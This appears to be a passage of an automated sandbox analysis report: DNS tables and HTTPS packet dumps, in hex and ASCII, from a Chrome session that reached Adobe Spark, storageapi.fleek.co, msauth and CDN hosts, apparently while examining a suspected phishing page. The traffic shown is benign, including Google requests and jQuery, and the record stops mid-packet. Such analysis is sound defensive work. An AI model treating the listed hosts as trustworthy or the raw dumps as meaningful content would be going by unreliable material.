1.1.1.1 192.168.2.3 0x62a5 No error (0) express-pr
od.adobepr
ojectm.com

13.32.99.23 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:55.674926043 CEST

1.1.1.1 192.168.2.3 0xf9fe No error (0) page.adobe
spark-asse
ts.com

108.138.17.129 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:55.674926043 CEST

1.1.1.1 192.168.2.3 0xf9fe No error (0) page.adobe
spark-asse
ts.com

108.138.17.29 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:55.674926043 CEST

1.1.1.1 192.168.2.3 0xf9fe No error (0) page.adobe
spark-asse
ts.com

108.138.17.79 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:55.674926043 CEST

1.1.1.1 192.168.2.3 0xf9fe No error (0) page.adobe
spark-asse
ts.com

108.138.17.82 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:56.179483891 CEST

1.1.1.1 192.168.2.3 0x7d21 No error (0) use.typekit.net use-
stls.adobe.com.ed
gesuite.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 27, 2022 
08:44:57.343149900 CEST

1.1.1.1 192.168.2.3 0x9562 No error (0) p.typekit.net p.typekit.net-stls-
v3.edgesuite.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 27, 2022 
08:44:58.947067022 CEST

1.1.1.1 192.168.2.3 0xe9b7 No error (0) page.adobe
spark-asse
ts.com

18.66.248.46 A (IP address) IN 
(0x0001)

DNS Queries

DNS Answers
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May 27, 2022 
08:44:58.947067022 CEST

1.1.1.1 192.168.2.3 0xe9b7 No error (0) page.adobe
spark-asse
ts.com

18.66.248.119 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:58.947067022 CEST

1.1.1.1 192.168.2.3 0xe9b7 No error (0) page.adobe
spark-asse
ts.com

18.66.248.87 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:58.947067022 CEST

1.1.1.1 192.168.2.3 0xe9b7 No error (0) page.adobe
spark-asse
ts.com

18.66.248.16 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:59.269182920 CEST

1.1.1.1 192.168.2.3 0xc3bf No error (0) express-pr
od.adobepr
ojectm.com

65.9.63.14 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:59.269182920 CEST

1.1.1.1 192.168.2.3 0xc3bf No error (0) express-pr
od.adobepr
ojectm.com

65.9.63.75 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:59.269182920 CEST

1.1.1.1 192.168.2.3 0xc3bf No error (0) express-pr
od.adobepr
ojectm.com

65.9.63.63 A (IP address) IN 
(0x0001)

May 27, 2022 
08:44:59.269182920 CEST

1.1.1.1 192.168.2.3 0xc3bf No error (0) express-pr
od.adobepr
ojectm.com

65.9.63.49 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:21.948141098 CEST

1.1.1.1 192.168.2.3 0x99b7 No error (0) storageapi
.fleek.co

104.18.7.145 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:21.948141098 CEST

1.1.1.1 192.168.2.3 0x99b7 No error (0) storageapi
.fleek.co

104.18.6.145 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.811373949 CEST

1.1.1.1 192.168.2.3 0x3a2d No error (0) cs1227.wpc
.alphacdn.net

192.229.221.185 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.823498011 CEST

1.1.1.1 192.168.2.3 0x2cf1 No error (0) unpkg.com 104.16.124.175 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.823498011 CEST

1.1.1.1 192.168.2.3 0x2cf1 No error (0) unpkg.com 104.16.122.175 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.823498011 CEST

1.1.1.1 192.168.2.3 0x2cf1 No error (0) unpkg.com 104.16.126.175 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.823498011 CEST

1.1.1.1 192.168.2.3 0x2cf1 No error (0) unpkg.com 104.16.123.175 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:22.823498011 CEST

1.1.1.1 192.168.2.3 0x2cf1 No error (0) unpkg.com 104.16.125.175 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:23.216727972 CEST

1.1.1.1 192.168.2.3 0x2c93 No error (0) cdnjs.clou
dflare.com

104.17.24.14 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:23.216727972 CEST

1.1.1.1 192.168.2.3 0x2c93 No error (0) cdnjs.clou
dflare.com

104.17.25.14 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:23.218897104 CEST

1.1.1.1 192.168.2.3 0x5578 No error (0) i.gyazo.com 104.18.36.4 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:23.218897104 CEST

1.1.1.1 192.168.2.3 0x5578 No error (0) i.gyazo.com 172.64.151.252 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:25.398843050 CEST

1.1.1.1 192.168.2.3 0xd17a No error (0) cs1227.wpc
.alphacdn.net

192.229.221.185 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:25.455657959 CEST

1.1.1.1 192.168.2.3 0x4315 No error (0) i.gyazo.com 104.18.36.4 A (IP address) IN 
(0x0001)

May 27, 2022 
08:46:25.455657959 CEST

1.1.1.1 192.168.2.3 0x4315 No error (0) i.gyazo.com 172.64.151.252 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
accounts.google.com

            
clients2.google.com

            
storageapi.fleek.co

            
https:

unpkg.com
logincdn.msauth.net
i.gyazo.com

            
cdnjs.cloudflare.com

         

HTTP Request Dependency Graph
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.3 54801 142.250.186.109 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:44:55 UTC 0 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CONSENT=PENDING+620

2022-05-27 06:44:55 UTC 0 OUT Data Raw: 20 
Data Ascii:  

2022-05-27 06:44:55 UTC 3 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 27 May 2022 06:44:55 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: script-src 'report-sample' 'nonce-wRHPmk6X6D_0kW3DBF70XA' 'unsafe-inline';object-src 
'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-wRHPmk6X6D_0kW3DBF70XA' 'self' https://apis.google.com https://ssl.
gstatic.com https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAc
countsHttp/cspreport
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport
Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*
Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/IdentityListAccountsHttp/external"}]}
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-05-27 06:44:55 UTC 4 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-05-27 06:44:55 UTC 4 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.3 52166 142.250.186.110 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

HTTPS Proxied Packets
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2022-05-27 06:44:55 UTC 0 OUT GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=92.0.4515.107&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com
Connection: keep-alive
X-Goog-Update-Interactivity: fg
X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-92.0.4515.107
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:44:55 UTC 1 IN HTTP/1.1 200 OK
Content-Security-Policy: script-src 'report-sample' 'nonce-AtKcpIVdhAmwiFW7OlHnDw' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 27 May 2022 06:44:55 GMT
Content-Type: text/xml; charset=UTF-8
X-Daynum: 5624
X-Daystart: 85495
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-05-27 06:44:55 UTC 2 IN Data Raw: 33 36 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 
54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 
72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 32 
34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 38 35 34 39 35 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 
Data Ascii: 36e<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5624" elapsed_seconds="85495"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda" cohort="1::" cohortname=""

2022-05-27 06:44:55 UTC 2 IN Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 
22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 
31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 
5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 
37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 
74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 
72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 
Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" 
protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a

2022-05-27 06:44:55 UTC 3 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.3 54262 104.17.24.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:23 UTC 174 OUT GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Origin: https://storageapi.fleek.co
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-27 06:46:23 UTC 175 IN HTTP/1.1 200 OK
Date: Fri, 27 May 2022 06:46:23 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"603e8adc-15d9d"
Last-Modified: Tue, 02 Mar 2021 18:58:36 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 51881
Expires: Wed, 17 May 2023 06:46:23 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=b2WvkQ2Y0p%2BBvMs0w7Hfcv8lvZuqla
%2FmjkjmwvgU2vtUfRnJXgsg%2B%2FFfhDsS9Jpg2ee04xL%2FNAiQuflro4Y3prWqEHOk%2FCx74N0c%2FHvgVu6N
YcqTPfuiOjhYWa2x12Wa2BBeqrny"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 711ccb0c7fa99012-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-27 06:46:23 UTC 176 IN Data Raw: 37 62 39 61 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 
20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 
65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 
74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 
3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 
2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 
6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 
Data Ascii: 7b9a/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */!function(e,t){"use 
strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e
.document)throw new Erro

2022-05-27 06:46:23 UTC 177 IN Data Raw: 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 74 28 65 29 7d 3a 74 
28 65 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 74 
68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 43 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 5b 5d 
2c 72 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 
6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 
66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7
d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 
Data Ascii: dow with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var 
t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t
.push,i=t.indexOf

2022-05-27 06:46:23 UTC 178 IN Data Raw: 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 65 2c 74 2c 65 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 
75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 73 2e 61 70 70 6c 79 
28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 29 7d 2c 66 69 72 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 
75 72 6e 20 74 68 69 73 2e 65 71 28 30 29 7d 2c 6c 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 
74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 
73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 
65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 
Data Ascii: ,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return 
this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},
odd:fun

2022-05-27 06:46:23 UTC 179 IN Data Raw: 6e 63 65 7d 2c 6e 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 
30 3b 69 66 28 70 28 65 29 29 7b 66 6f 72 28 6e 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 69 66 28 21 31 
3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 72 
20 69 6e 20 65 29 69 66 28 21 31 3d 3d 3d 74 2e 63 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 
3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 
6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 
2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 
Data Ascii: nce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in 
e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(
n,"string"==typeo

2022-05-27 06:46:23 UTC 181 IN Data Raw: 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 49 3d 22 28 3f 3a 5c 5c 5c 5c 5b 5c 5c 64 61 
2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 7c 5b 5c 5c 77 2d 
5d 7c 5b 5e 5c 30 2d 5c 5c 78 37 66 5d 29 2b 22 2c 57 3d 22 5c 5c 5b 22 2b 4d 2b 22 2a 28 22 2b 49 2b 22 29 28 3f 3a 
22 2b 4d 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 
5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 
2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 
28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 
Data Ascii: [\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*
([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)

2022-05-27 06:46:23 UTC 182 IN Data Raw: 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 69 
65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 22 5c 30 22 3d 3d 3d 65 3f 22 5c 75 66 66 66 
64 22 3a 65 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 65 2e 63 68 61 72 43 6f 64 65 41 74 28 65 2e 6c 65 
6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 
63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3
d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 
74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 
Data Ascii: \d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCode
At(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeN
ame.toLowerCase()},{dir:"pa

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 183 IN Data Raw: 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 4e 28 74 2c 21 30 
29 7d 66 69 6e 61 6c 6c 79 7b 73 3d 3d 3d 53 26 26 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 
29 7d 7d 7d 72 65 74 75 72 6e 20 67 28 74 2e 72 65 70 6c 61 63 65 28 24 2c 22 24 31 22 29 2c 65 2c 6e 2c 72 29 7d 66 
75 6e 63 74 69 6f 6e 20 75 65 28 29 7b 76 61 72 20 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 2
8 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 
68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 
74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 
Data Ascii: erySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,
n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le
(e){return e[S]=!

2022-05-27 06:46:23 UTC 185 IN Data Raw: 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 
7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 59 2e 74 65 73 74 28 74 7c 7c 6e 26 
26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 54 3d 73 65 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 
66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 
7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 7
5 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 
3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 
Data Ascii: .namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T
=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(
a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defa

2022-05-27 06:46:23 UTC 186 IN Data Raw: 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 
66 28 6f 29 7b 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 
